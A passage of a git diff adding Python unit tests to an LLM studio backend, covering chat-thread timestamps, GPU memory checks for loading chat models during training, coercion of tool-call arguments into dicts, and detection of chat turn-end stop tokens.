+                archived INTEGER NOT NULL DEFAULT 0,
+                created_at INTEGER NOT NULL
+            )
+            """
+        )
+        conn.execute(
+            """
+            CREATE TABLE chat_messages (
+                id TEXT NOT NULL PRIMARY KEY,
+                thread_id TEXT NOT NULL,
+                parent_id TEXT,
+                role TEXT NOT NULL,
+                content_json TEXT NOT NULL,
+                attachments_json TEXT,
+                metadata_json TEXT,
+                created_at INTEGER NOT NULL
+            )
+            """
+        )
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-with-msgs", "Old", "base", 1_700_000_000_000),
+        )
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-empty", "Empty", "base", 1_700_000_050_000),
+        )
+        # Fork-like thread: copied ancestor messages predate the thread itself.
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-fork", "Fork", "base", 1_700_000_100_000),
+        )
+        conn.executemany(
+            "INSERT INTO chat_messages (id, thread_id, role, content_json, created_at) VALUES (?, ?, ?, ?, ?)",
+            [
+                ("m1", "thread-with-msgs", "user", "[]", 1_700_000_001_000),
+                ("m2", "thread-with-msgs", "assistant", "[]", 1_700_000_002_000),
+                ("m3", "thread-fork", "user", "[]", 1_700_000_001_000),
+            ],
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    assert studio_db.get_chat_thread("thread-with-msgs")["updatedAt"] == 1_700_000_002_000
+    assert studio_db.get_chat_thread("thread-empty")["updatedAt"] == 1_700_000_050_000
+    assert studio_db.get_chat_thread("thread-fork")["updatedAt"] == 1_700_000_100_000
+
+
 def test_chat_projects_delete_cascades_threads_and_messages(tmp_path, monkeypatch):
     _reset_studio_db(tmp_path, monkeypatch)
     project = studio_db.upsert_chat_project(_project())
diff --git a/studio/backend/tests/test_chat_load_during_training.py b/studio/backend/tests/test_chat_load_during_training.py
index 487c3c7ce0..a5fd71b6a0 100644
--- a/studio/backend/tests/test_chat_load_during_training.py
+++ b/studio/backend/tests/test_chat_load_during_training.py
@@ -168,11 +168,14 @@ class TestCanLoadGGUF(_GpuCacheResetMixin, unittest.TestCase):
         devices,
         required_override = None,
         estimate = None,
+        single_device_gpu = None,
+        gpu_ids = None,
     ):
         with (
             patch("utils.hardware.get_device", return_value = DeviceType.CUDA),
             patch("utils.hardware.estimate_required_model_memory_gb", return_value = (estimate, {})),
             patch("utils.hardware.get_visible_gpu_utilization", return_value = {"devices": devices}),
+            patch("utils.hardware.resolve_requested_gpu_ids", return_value = gpu_ids),
             patch("utils.hardware.auto_select_gpu_ids") as auto_mock,
         ):
             ok, info = tv.can_load_chat_during_training(
@@ -180,9 +183,10 @@ class TestCanLoadGGUF(_GpuCacheResetMixin, unittest.TestCase):
                 hf_token = None,
                 load_in_4bit = True,
                 max_seq_length = 0,
-                requested_gpu_ids = None,
+                requested_gpu_ids = gpu_ids,
                 is_gguf = True,
                 required_override_gb = required_override,
+                single_device_gpu = single_device_gpu,
             )
         return ok, info, auto_mock
 
@@ -198,6 +202,88 @@ class TestCanLoadGGUF(_GpuCacheResetMixin, unittest.TestCase):
         ok, _, _ = self._run(devices = _devices((0, 80, 35), (1, 80, 70)), required_override = 20.0)
         self.assertTrue(ok)
 
+    def test_no_per_gpu_floor_for_gguf_with_explicit_gpu_ids(self):
+        # gpu_ids narrows llama.cpp's candidate pool but does not turn its
+        # self-placement into HF device_map="balanced". The uneven selected
+        # pair therefore keeps the aggregate GGUF check without an even-share
+        # floor on the nearly-full card.
+        ok, info, _ = self._run(
+            devices = _devices((0, 80, 35), (1, 80, 70), (2, 80, 0)),
+            required_override = 20.0,
+            gpu_ids = [0, 1],
+        )
+        self.assertTrue(ok)
+        self.assertEqual(info["mode"], "gguf")
+
+    def test_single_device_uses_selected_gpu(self):
+        # The model needs 27 GB with headroom. GPU 0 has 45 GB free, while an
+        # unrelated training-heavy GPU 1 has only 10 GB free.
+        ok, info, _ = self._run(
+            devices = _devices((0, 80, 35), (1, 80, 70)),
+            required_override = 20.0,
+            single_device_gpu = "0",
+        )
+        self.assertTrue(ok)
+        self.assertEqual(info["usable_gb"], 45.0)
+
+        blocked, blocked_info, _ = self._run(
+            devices = _devices((0, 80, 35), (1, 80, 70)),
+            required_override = 20.0,
+            single_device_gpu = "1",
+        )
+        self.assertFalse(blocked)
+        self.assertEqual(blocked_info["usable_gb"], 10.0)
+
+    def test_single_device_unresolved_token_sizes_against_worst_device(self):
+        # A non-numeric device token (a CUDA UUID / MIG handle) can't map to a
+        # free-VRAM index. The runner still drives ONE device, so size against the
+        # worst-case visible device (min free), not the aggregate pool: one GPU
+        # with 80 GB free vs a 20 GB model -> allow.
+        ok, info, _ = self._run(
+            devices = _devices((0, 80, 0)),
+            required_override = 20.0,
+            single_device_gpu = "GPU-uuid",
+        )
+        self.assertTrue(ok)
+        self.assertEqual(info["mode"], "single_device")
+        self.assertNotIn("reason", info)
+
+    def test_single_device_unresolved_token_refuses_when_worst_device_full(self):
+        # Same UUID fallback, worst-case device nearly full (2 GB for a 20 GB
+        # model) -> refuse (default-deny), not on an unresolved-token technicality.
+        ok, info, _ = self._run(
+            devices = _devices((0, 80, 78)),
+            required_override = 20.0,
+            single_device_gpu = "GPU-uuid",
+        )
+        self.assertFalse(ok)
+        self.assertNotEqual(info.get("reason"), "unresolved_gpu_id")
+
+    def test_single_device_unresolved_token_uses_min_free_not_aggregate(self):
+        # The single-device runner uses ONE device but we can't tell which from a
+        # UUID token. Sizing against the aggregate pool would let a 20 GB model
+        # "fit" 160 GB of pooled free VRAM while landing on a 2 GB card and OOMing
+        # training. Min-free (2 GB) is the safe worst case -> refuse.
+        ok, info, _ = self._run(
+            devices = _devices((0, 80, 78), (1, 80, 0), (2, 80, 0)),
+            required_override = 20.0,
+            single_device_gpu = "GPU-uuid",
+        )
+        self.assertFalse(ok)
+        self.assertEqual(info["mode"], "single_device")
+
+    def test_single_device_cpu_token_allows(self):
+        # An empty device token = a CPU-only single-device runner (CPU diffusion
+        # GGUF): it uses no GPU VRAM, so it never threatens training -> allow
+        # regardless of how full the GPUs are.
+        ok, info, _ = self._run(
+            devices = _devices((0, 80, 78)),
+            required_override = 20.0,
+            single_device_gpu = "",
+        )
+        self.assertTrue(ok)
+        self.assertEqual(info["reason"], "cpu_only")
+
     def test_estimate_unavailable_refuses(self):
         # No override and the estimator can't size it -> default-deny.
         ok, info, _ = self._run(devices = _devices((0, 80, 0)), required_override = None, estimate = None)
@@ -309,6 +395,8 @@ class TestChatLoadGuardRoute(unittest.TestCase):
         captured = None,
         training_active,
         decision,
+        gpu_memory_mode = "auto",
+        requested_gpu_ids = None,
     ):
         config = config or SimpleNamespace(is_gguf = False, is_lora = False, path = None)
         with _stub_guard_deps(
@@ -320,7 +408,8 @@ class TestChatLoadGuardRoute(unittest.TestCase):
                 hf_token = None,
                 load_in_4bit = True,
                 max_seq_length = 0,
-                requested_gpu_ids = None,
+                requested_gpu_ids = requested_gpu_ids,
+                gpu_memory_mode = gpu_memory_mode,
             )
 
     def test_noop_when_training_inactive(self):
@@ -332,6 +421,141 @@ class TestChatLoadGuardRoute(unittest.TestCase):
     def test_allows_when_fits(self):
         self._guard(training_active = True, decision = (True, {"mode": "auto"}))
 
+    def test_diffusion_detection_uses_name_before_download(self):
+        config = SimpleNamespace(
+            identifier = "unsloth/DiffusionGemma-GGUF",
+            gguf_hf_repo = "unsloth/DiffusionGemma-GGUF",
+            gguf_file = None,
+        )
+        self.assertTrue(self.route._classify_diffusion_gguf(config))
+
+    def test_uncached_gguf_classification_remains_unknown(self):
+        config = SimpleNamespace(
+            identifier = "owner/renamed-model",
+            gguf_hf_repo = "owner/renamed-model",
+            gguf_variant = "Q4_K_M",
+            gguf_file = None,
+        )
+        self.assertIsNone(self.route._classify_diffusion_gguf(config))
+
+    def test_diffusion_detection_reuses_loader_metadata_probe(self):
+        import tempfile
+
+        seen = []
+
+        class _Probe:
+            is_diffusion = False
+            _architecture = None
+
+            def _read_gguf_metadata(self, path):
+                seen.append(path)
+                self.is_diffusion = True
+
+        with tempfile.TemporaryDirectory() as d:
+            model = Path(d) / "renamed.gguf"
+            model.write_bytes(b"GGUF")
+            config = SimpleNamespace(identifier = "local", gguf_file = str(model))
+            with patch.object(self.route, "LlamaCppBackend", _Probe):
+                self.assertTrue(self.route._classify_diffusion_gguf(config))
+        self.assertEqual(seen, [str(model)])
+
+    def test_local_chat_gguf_classification_is_definitive(self):
+        import tempfile
+        class _Probe:
+            is_diffusion = False
+            _architecture = "llama"
+
+            def _read_gguf_metadata(self, _path):
+                pass
+
+        with tempfile.TemporaryDirectory() as d:
+            model = Path(d) / "renamed.gguf"
+            model.write_bytes(b"GGUF")
+            config = SimpleNamespace(identifier = "local", gguf_file = str(model))
+            with patch.object(self.route, "LlamaCppBackend", _Probe):
+                self.assertFalse(self.route._classify_diffusion_gguf(config))
+
+    def test_manual_known_normal_gguf_bypasses_training_estimate(self):
+        captured = []
+        config = SimpleNamespace(is_gguf = True)
+        with patch.object(self.route, "_classify_diffusion_gguf", return_value = False):
+            self._guard(
+                config = config,
+                captured = captured,
+                training_active = True,
+                decision = (False, {"reason": "must not run"}),
+                gpu_memory_mode = "manual",
+            )
+        self.assertEqual(captured, [])
+
+    def test_manual_unknown_gguf_keeps_single_device_training_guard(self):
+        captured = []
+        config = SimpleNamespace(is_gguf = True)
+        with (
+            patch.object(self.route, "_classify_diffusion_gguf", return_value = None),
+            patch.object(self.route, "_estimate_gguf_required_gb", return_value = 12.5),
+            patch.object(
+                self.route.LlamaCppBackend,
+                "_diffusion_gpu_arg",
+                return_value = "2",
+            ),
+        ):
+            self._guard(
+                config = config,
+                captured = captured,
+                training_active = True,
+                decision = (True, {"mode": "single_device"}),
+                gpu_memory_mode = "manual",
+            )
+        self.assertEqual(len(captured), 1)
+        self.assertEqual(captured[0]["single_device_gpu"], "2")
+
+    def test_manual_diffusion_uses_single_device_guard(self):
+        captured = []
+        config = SimpleNamespace(is_gguf = True)
+        with (
+            patch.object(self.route, "_classify_diffusion_gguf", return_value = True),
+            patch.object(self.route, "_estimate_gguf_required_gb", return_value = 12.5),
+        ):
+            self._guard(
+                config = config,
+                captured = captured,
+                training_active = True,
+                decision = (True, {"mode": "gguf"}),
+                gpu_memory_mode = "manual",
+                requested_gpu_ids = [3, 1],
+            )
+        self.assertEqual(len(captured), 1)
+        self.assertEqual(captured[0]["single_device_gpu"], "1")
+        self.assertEqual(captured[0]["requested_gpu_ids"], [3, 1])
+
+    def test_unpinned_diffusion_uses_runner_default_gpu(self):
+        captured = []
+        config = SimpleNamespace(is_gguf = True)
+        with (
+            patch.object(self.route, "_classify_diffusion_gguf", return_value = True),
+            patch.object(self.route, "_estimate_gguf_required_gb", return_value = 12.5),
+            patch.object(
+                self.route.LlamaCppBackend,
+                "_effective_gpu_count",
+                return_value = 2,
+            ),
+            patch.object(
+                self.route.LlamaCppBackend,
+                "_diffusion_gpu_arg",
+                return_value = "3",
+            ) as gpu_arg,
+        ):
+            self._guard(
+                config = config,
+                captured = captured,
+                training_active = True,
+                decision = (True, {"mode": "single_device"}),
+                gpu_memory_mode = "manual",
+            )
+        gpu_arg.assert_called_once_with(None, cpu_only = False)
+        self.assertEqual(captured[0]["single_device_gpu"], "3")
+
     def test_refuses_with_headroom_number(self):
         info = {"required_gb": 30.0, "usable_gb": 6.0, "needed_gb": 39.0, "mode": "auto"}
         with self.assertRaises(HTTPException) as exc:
@@ -467,36 +691,189 @@ class TestValidateRefusesDuringTraining(unittest.TestCase):
         self.assertEqual(captured[0]["load_in_4bit"], False)
         self.assertEqual(captured[0]["max_seq_length"], 4096)
 
-    def test_rejects_gguf_with_gpu_ids_before_guard(self):
-        # /validate must mirror /load's GGUF + gpu_ids 400, before the VRAM guard.
+    def test_validate_forwards_manual_gpu_memory_mode_to_guard(self):
         from models.inference import ValidateModelRequest
 
-        request = ValidateModelRequest(model_path = "x.gguf", gpu_ids = [0])
+        request = ValidateModelRequest(
+            model_path = "unsloth/model-GGUF",
+            gguf_variant = "Q4_K_M",
+            gpu_memory_mode = "manual",
+        )
         cfg = SimpleNamespace(
-            identifier = "x.gguf",
-            display_name = "x",
+            identifier = "unsloth/model-GGUF",
+            display_name = "model-GGUF",
             is_gguf = True,
             is_lora = False,
             is_vision = False,
             path = None,
             base_model = None,
         )
-        captured = []
+        captured = {}
         with (
             patch.object(
                 self.route,
                 "_resolve_model_identifier_for_request",
-                return_value = ("x.gguf", "x.gguf", False),
+                return_value = ("unsloth/model-GGUF", "unsloth/model-GGUF", False),
             ),
             patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg),
             patch.object(self.route, "load_inference_config", return_value = {}),
-            _stub_guard_deps(training_active = True, decision = (True, {}), captured = captured),
+            patch.object(
+                self.route,
+                "_guard_chat_load_against_training",
+                lambda config, **kw: captured.update(kw),
+            ),
         ):
-            with self.assertRaises(HTTPException) as exc:
-                asyncio.run(self.route.validate_model(request, current_subject = "u"))
-        self.assertEqual(exc.exception.status_code, 400)
-        self.assertIn("gpu_ids is not supported for GGUF", exc.exception.detail)
-        self.assertEqual(captured, [])  # guard never reached
+            asyncio.run(self.route.validate_model(request, current_subject = "u"))
+        self.assertEqual(captured.get("gpu_memory_mode"), "manual")
+
+    def test_validate_forwards_inherited_extras_and_parallel_to_guard(self):
+        # Regression: /load resolves inherited same-model extras and passes the
+        # real slot count to the guard; validate must do the same, else it sizes
+        # a smaller estimate (no inherited -c/--model-draft, n_parallel=1) and
+        # /load then 409s after the frontend has already unloaded.
+        from models.inference import ValidateModelRequest
+
+        request = ValidateModelRequest(model_path = "unsloth/Qwen3-1.7B", max_seq_length = 4096)
+        cfg = SimpleNamespace(
+            identifier = "unsloth/Qwen3-1.7B",
+            display_name = "Qwen3-1.7B",
+            is_gguf = False,
+            is_lora = False,
+            is_vision = False,
+            path = None,
+            base_model = None,
+        )
+        captured = {}
+        with (
+            patch.object(
+                self.route,
+                "_resolve_model_identifier_for_request",
+                return_value = ("unsloth/Qwen3-1.7B", "unsloth/Qwen3-1.7B", False),
+            ),
+            patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg),
+            patch.object(self.route, "load_inference_config", return_value = {}),
+            patch.object(self.route, "_resolve_inherited_extra_args", return_value = ["-c", "32768"]),
+            patch.object(
+                self.route,
+                "_guard_chat_load_against_training",
+                lambda config, **kw: captured.update(kw),
+            ),
+        ):
+            asyncio.run(self.route.validate_model(request, current_subject = "u"))
+        self.assertEqual(captured.get("llama_extra_args"), ["-c", "32768"])
+        self.assertIn("n_parallel", captured)
+
+    def test_metadata_probe_skips_training_guard(self):
+        # A header-only probe (include_context_length) allocates no VRAM, so the
+        # training guard must not run -- else the staging GPU-layers / MoE sliders
+        # it feeds are hidden exactly when a during-training user needs them.
+        from models.inference import ValidateModelRequest
+
+        request = ValidateModelRequest(
+            model_path = "unsloth/Qwen3-1.7B",
+            max_seq_length = 4096,
+            include_context_length = True,
+        )
+        cfg = SimpleNamespace(
+            identifier = "unsloth/Qwen3-1.7B",
+            display_name = "Qwen3-1.7B",
+            is_gguf = False,
+            is_lora = False,
+            is_vision = False,
+            path = None,
+            base_model = None,
+        )
+        guard_called = []
+        with (
+            patch.object(
+                self.route,
+                "_resolve_model_identifier_for_request",
+                return_value = ("unsloth/Qwen3-1.7B", "unsloth/Qwen3-1.7B", False),
+            ),
+            patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg),
+            patch.object(self.route, "load_inference_config", return_value = {}),
+            patch.object(
+                self.route,
+                "_guard_chat_load_against_training",
+                lambda *a, **kw: guard_called.append(True),
+            ),
+        ):
+            asyncio.run(self.route.validate_model(request, current_subject = "u"))
+        self.assertEqual(guard_called, [])
+
+    def _validate_gguf_template(
+        self,
+        *,
+        template,
+        canonical_path = "/picked/model.gguf",
+    ):
+        # Drive validate_model for a native lease-backed GGUF template probe and
+        # capture what the embedded-template reader was called with.
+        from models.inference import ValidateModelRequest
+
+        request = ValidateModelRequest(
+            model_path = "model.gguf",
+            gguf_variant = "Q4_K_M",
+            native_path_lease = "signed-lease",
+            include_chat_template = True,
+        )
+        cfg = SimpleNamespace(
+            identifier = canonical_path,
+            display_name = "model.gguf",
+            is_gguf = True,
+            is_lora = False,
+            is_vision = False,
+            gguf_file = canonical_path,
+            path = None,
+            base_model = None,
+        )
+        import utils.models.gguf_metadata as gguf_meta
+
+        seen = {}
+
+        def _fake_read(path):
+            seen["path"] = path
+            return template
+
+        guard_called = []
+        with (
+            patch.object(
+                self.route,
+                "_resolve_model_identifier_for_request",
+                return_value = (canonical_path, "model.gguf", True),
+            ),
+            patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg),
+            patch.object(self.route, "load_inference_config", return_value = {}),
+            patch.object(gguf_meta, "read_gguf_chat_template", _fake_read),
+            patch.object(
+                self.route,
+                "_guard_chat_load_against_training",
+                lambda *a, **kw: guard_called.append(True),
+            ),
+        ):
+            resp = asyncio.run(self.route.validate_model(request, current_subject = "u"))
+        return resp, seen, guard_called
+
+    def test_include_chat_template_reads_leased_gguf_embedded_template(self):
+        # The picker chat-template GET has no lease plumbing, so a native picked
+        # GGUF surfaces its default template through this lease-aware probe: the
+        # embedded template is read from the granted canonical path and returned.
+        resp, seen, _ = self._validate_gguf_template(template = "{{ messages }}")
+        self.assertEqual(resp.chat_template, "{{ messages }}")
+        # Read strictly the leased file's own embedded template, never a sibling
+        # sidecar: the grant authorizes just this one path.
+        self.assertEqual(seen["path"], "/picked/model.gguf")
+
+    def test_include_chat_template_skips_training_guard(self):
+        # A template-only probe allocates no VRAM, so like include_context_length
+        # it must not be refused by the training guard.
+        _, _, guard_called = self._validate_gguf_template(template = "{{ messages }}")
+        self.assertEqual(guard_called, [])
+
+    def test_include_chat_template_over_cap_is_dropped(self):
+        from picker.schemas import MAX_CHAT_TEMPLATE_BYTES
+        resp, _, _ = self._validate_gguf_template(template = "a" * (MAX_CHAT_TEMPLATE_BYTES + 1))
+        self.assertIsNone(resp.chat_template)
 
 
 # ── _estimate_gguf_required_gb (sizes the same weights the loader loads) ──────
@@ -651,11 +1028,19 @@ class TestLoadModelGuardIntegration(unittest.TestCase):
         inf._shutdown_subprocess = MagicMock()
         llama = SimpleNamespace(is_loaded = False, model_identifier = None, hf_variant = None)
         llama.unload_model = MagicMock()
-        cfg = SimpleNamespace(is_gguf = False, is_lora = False, path = None, base_model = None)
+        cfg = SimpleNamespace(
+            is_gguf = False,
+            is_lora = False,
+            path = None,
+            base_model = None,
+            identifier = "unsloth/Qwen3-1.7B",
+        )
         request = LoadRequest(model_path = "unsloth/Qwen3-1.7B")
         info = {"required_gb": 40.0, "usable_gb": 5.0, "needed_gb": 50.0, "mode": "auto"}
 
         with (
+            # Pin the latest-sidecar tier check so the guard path stays offline.
+            patch("utils.transformers_version.latest_tier_active_for", return_value = False),
             patch.object(self.route, "validate_extra_args", return_value = None),
             patch.object(
                 self.route,
diff --git a/studio/backend/tests/test_chat_template_tool_arguments.py b/studio/backend/tests/test_chat_template_tool_arguments.py
new file mode 100644
index 0000000000..13d1ecabaa
--- /dev/null
+++ b/studio/backend/tests/test_chat_template_tool_arguments.py
@@ -0,0 +1,157 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""apply_chat_template_for_generation must coerce assistant tool_call arguments
+from the OpenAI JSON-string form to a dict before rendering. Strict tool
+templates (e.g. mlx-community Qwen3.5 checkpoints) iterate arguments.items() and
+raise "Can only get item pairs from a mapping." on the string form when a prior
+tool call is re-rendered on the next turn (MLX + transformers paths).
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.chat_template_helpers import (  # noqa: E402
+    _normalize_tool_call_arguments,
+    apply_chat_template_for_generation,
+)
+
+
+def _conv(arguments):
+    return [
+        {"role": "user", "content": "weather?"},
+        {
+            "role": "assistant",
+            "content": "",
+            "tool_calls": [
+                {
+                    "type": "function",
+                    "id": "c1",
+                    "function": {"name": "web_search", "arguments": arguments},
+                }
+            ],
+        },
+        {"role": "tool", "name": "web_search", "content": "21C sunny"},
+    ]
+
+
+class _StrictTemplateTokenizer:
+    """Mimics a strict Qwen tool template: rejects string tool_call arguments."""
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                args = call.get("function", {}).get("arguments")
+                if isinstance(args, str):
+                    raise TypeError("Can only get item pairs from a mapping.")
+        return "RENDERED"
+
+
+def test_string_arguments_are_parsed_to_dict():
+    out = _normalize_tool_call_arguments(_conv('{"query": "sweden"}'))
+    args = out[1]["tool_calls"][0]["function"]["arguments"]
+    assert args == {"query": "sweden"}
+
+
+def test_dict_arguments_untouched_and_no_copy():
+    conv = _conv({"query": "sweden"})
+    assert _normalize_tool_call_arguments(conv) is conv
+
+
+def test_non_json_string_left_as_is():
+    out = _normalize_tool_call_arguments(_conv("not json"))
+    assert out[1]["tool_calls"][0]["function"]["arguments"] == "not json"
+
+
+def test_render_succeeds_on_strict_template_with_string_arguments():
+    # Regression: strict template + string args used to raise.
+    result = apply_chat_template_for_generation(_StrictTemplateTokenizer(), _conv('{"query": "x"}'))
+    assert result == "RENDERED"
+
+
+class _RecordingTokenizer:
+    """Lenient template: renders whatever arguments it is given (string or dict)."""
+
+    def __init__(self):
+        self.seen_arguments = None
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                self.seen_arguments = call.get("function", {}).get("arguments")
+        return "RENDERED"
+
+
+def test_lenient_template_receives_original_string_untouched():
+    # Lenient template must see the exact original string, not a coerced dict.
+    tok = _RecordingTokenizer()
+    apply_chat_template_for_generation(tok, _conv('{"query": "x"}'))
+    assert tok.seen_arguments == '{"query": "x"}'
+
+
+def test_messages_without_tool_calls_pass_through_unchanged():
+    conv = [{"role": "user", "content": "hi"}]
+    assert _normalize_tool_call_arguments(conv) is conv
+
+
+class _RaiseExceptionTemplateTokenizer:
+    """Mimics the bundled gemma-4.jinja: rejects string tool_call arguments via
+    ``raise_exception(...)``, which surfaces as a Jinja error, NOT a TypeError."""
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                args = call.get("function", {}).get("arguments")
+                if isinstance(args, str):
+                    raise ValueError(
+                        "chat_template: tool_calls[].function.arguments must be a "
+                        "JSON object (mapping), not a string."
+                    )
+        return "RENDERED"
+
+
+def test_render_succeeds_on_raise_exception_template_with_string_arguments():
+    # Regression: gemma-4.jinja rejects string args via a non-TypeError; retry must still coerce.
+    result = apply_chat_template_for_generation(
+        _RaiseExceptionTemplateTokenizer(), _conv('{"query": "x"}')
+    )
+    assert result == "RENDERED"
+
+
+def test_unrelated_template_error_still_propagates_with_dict_args():
+    # Failure unrelated to string args (dict args, nothing to coerce) must propagate.
+    class _AlwaysRaises:
+        def apply_chat_template(self, messages, **kw):
+            raise ValueError("template is broken")
+
+    with pytest.raises(ValueError, match = "broken"):
+        apply_chat_template_for_generation(_AlwaysRaises(), _conv({"query": "x"}))
diff --git a/studio/backend/tests/test_chat_turn_end_eos.py b/studio/backend/tests/test_chat_turn_end_eos.py
new file mode 100644
index 0000000000..c49e39f8fe
--- /dev/null
+++ b/studio/backend/tests/test_chat_turn_end_eos.py
@@ -0,0 +1,150 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""chat_eos: resolve assistant-turn-end stop tokens from the chat_template and
+repair generation_config so a chat model whose eos is a bare document terminator
+(Qwen3.5: config eos <|endoftext|>, turns end with <|im_end|>) stops at the turn
+boundary instead of running past it and looping. Dependency-light: imported here
+without the full inference stack.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.chat_eos import (  # noqa: E402
+    chat_eos_repair,
+    resolve_chat_turn_end_eos_ids,
+    resolve_chat_turn_end_eos_ids_using,
+)
+
+
+class _FakeTokenizer:
+    def __init__(
+        self,
+        eos_id,
+        chat_template = "",
+        token_ids = None,
+        unk_token_id = None,
+    ):
+        self.eos_token_id = eos_id
+        self.chat_template = chat_template
+        self.unk_token_id = unk_token_id
+        self._ids = dict(token_ids or {})
+
+    def convert_tokens_to_ids(self, tok):
+        return self._ids.get(tok, self.unk_token_id)
+
+
+# ---- resolve_chat_turn_end_eos_ids ---------------------------------------
+
+_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}"
+
+
+def test_qwen35_adds_im_end_from_template():
+    # eos synced to <|endoftext|> (248044); template uses <|im_end|> (248046).
+    tok = _FakeTokenizer(248044, chat_template = _CHATML, token_ids = {"<|im_end|>": 248046})
+    assert resolve_chat_turn_end_eos_ids(tok) == [248044, 248046]
+
+
+def test_marker_in_vocab_but_not_in_template_is_ignored():
+    # Base/coder model: <|im_end|> is in the vocab but the template does not use
+    # it, so it must not become a stop token.
+    tok = _FakeTokenizer(248044, chat_template = "{{ messages }}", token_ids = {"<|im_end|>": 248046})
+    assert resolve_chat_turn_end_eos_ids(tok) == [248044]
+
+
+def test_harmony_template_is_left_untouched():
+    # gpt-oss/harmony: <|end|> is a channel delimiter, not the turn end.
+    harmony = "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"
+    tok = _FakeTokenizer(200002, chat_template = harmony, token_ids = {"<|end|>": 200007})
+    assert resolve_chat_turn_end_eos_ids(tok) == [200002]
+
+
+def test_llama3_eot_id_from_template():
+    tok = _FakeTokenizer(128001, chat_template = "...<|eot_id|>...", token_ids = {"<|eot_id|>": 128009})
+    assert resolve_chat_turn_end_eos_ids(tok) == [128001, 128009]
+
+
+def test_gemma4_turn_marker_from_template():
+    # Gemma-4 ends turns with <turn|> while keeping a document eos, so <turn|> must
+    # be added as a stop token.
+    tok = _FakeTokenizer(
+        1, chat_template = "...<start_of_turn>...<turn|>...", token_ids = {"<turn|>": 106}
+    )
+    assert resolve_chat_turn_end_eos_ids(tok) == [1, 106]
+
+
+def test_resolve_using_reads_markers_from_template_but_ids_from_generation_tokenizer():
+    # map_eos_token=True: the mapped template remaps <|im_end|> onto the doc-eos id,
+    # but the original keeps it atomic. Reading marker STRINGS from the template but
+    # IDS on the original recovers the real turn-end id (7), not the doc-eos id (2).
+    template_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    id_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7})
+    assert resolve_chat_turn_end_eos_ids_using(template_tok, id_tok) == [2, 7]
+    # Same tokenizer for both reproduces the plain resolve (load-time behaviour).
+    assert resolve_chat_turn_end_eos_ids_using(template_tok, template_tok) == [2]
+
+
+def test_list_eos_preserved():
+    tok = _FakeTokenizer([1, 2], chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    assert resolve_chat_turn_end_eos_ids(tok) == [1, 2]
+
+
+def test_missing_marker_maps_to_unk_and_is_skipped():
+    tok = _FakeTokenizer(7, chat_template = _CHATML, token_ids = {}, unk_token_id = 0)
+    assert resolve_chat_turn_end_eos_ids(tok) == [7]
+
+
+def test_starling_barred_end_of_turn_from_template():
+    # OpenChat/Starling end turns with the BARRED <|end_of_turn|> (distinct from
+    # Gemma's <end_of_turn>). eos synced to </s>=2, turn marker at 32000.
+    starling = "GPT4 Correct Assistant: hi<|end_of_turn|>"
+    tok = _FakeTokenizer(2, chat_template = starling, token_ids = {"<|end_of_turn|>": 32000})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 32000]
+
+
+def test_dict_chat_template_scans_all_variants():
+    # Hermes-3 style: chat_template is a {name: template} dict. Detection must scan
+    # every variant, not bail because the container is not a plain str.
+    tmpl = {"default": "{{ messages }}", "tool_use": _CHATML}
+    tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 5]
+
+
+def test_list_of_dicts_chat_template_scans_all_variants():
+    # tokenizer_config.json stores multi-templates as a list of {name, template}.
+    tmpl = [{"name": "default", "template": _CHATML}]
+    tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 5]
+
+
+def test_dict_harmony_template_left_untouched():
+    # A multi-variant container whose variant is harmony must still be left alone.
+    tmpl = {"default": "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"}
+    tok = _FakeTokenizer(200002, chat_template = tmpl, token_ids = {"<|end|>": 200007})
+    assert resolve_chat_turn_end_eos_ids(tok) == [200002]
+
+
+# ---- chat_eos_repair ------------------------------------------------------
+
+
+def test_repair_adds_missing_turn_end():
+    assert chat_eos_repair(248044, [248044, 248046]) == [248044, 248046]
+
+
+def test_repair_from_missing_generation_config_eos():
+    assert chat_eos_repair(None, [248046]) == [248046]
+
+
+def test_repair_noop_when_already_covered():
